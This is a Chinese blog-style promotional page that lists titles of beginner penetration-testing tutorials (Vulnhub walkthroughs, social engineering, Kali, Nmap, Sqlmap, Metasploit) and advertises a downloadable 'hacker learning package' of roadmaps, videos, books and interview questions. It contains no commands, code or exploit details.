【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Prime使用指南，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场Breach1.0解析，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之vulnhub靶场之DC-9，零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Kioptrix level-4 多种姿势渗透详解，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场PWNOS: 2.0 多种渗透方法，收藏这一篇就够了
网络安全/渗透测试入门掌握社会工程学必知必会
【网络安全渗透测试零基础入门必知必会】之什么是社会工程学？定义、类型、攻击技术，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之社会工程学之香农-韦弗模式，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之社工学smcr通信模型，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之社会工程学之社工步骤整理（附相应工具下载）收藏这一篇就够了
网络安全/渗透测试入门掌握********渗透测试工具使用******必知必会**
2024版最新Kali Linux操作系统安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
【网络安全渗透测试零基础入门必知必会】之渗透测试工具大全之Nmap安装使用命令指南，零基础入门到精通，收藏这一篇就够了
2024版最新AWVS安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
2024版最新burpsuite安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
2024版最新owasp_zap安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
2024版最新Sqlmap安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
2024版最新Metasploit安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
2024版最新Nessus下载安装激活使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
2024版最新Wireshark安装使用教程（非常详细）零基础入门到精通，收藏这一篇就够了
觉得有用的话，希望粉丝朋友帮大白点个**「分享」「收藏」「在看」「赞」**
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍：
黑客资料由于是敏感资源，这里不能直接展示哦！
4.护网行动资料
其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。
更多内容为防止和谐，可以扫描获取~
因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
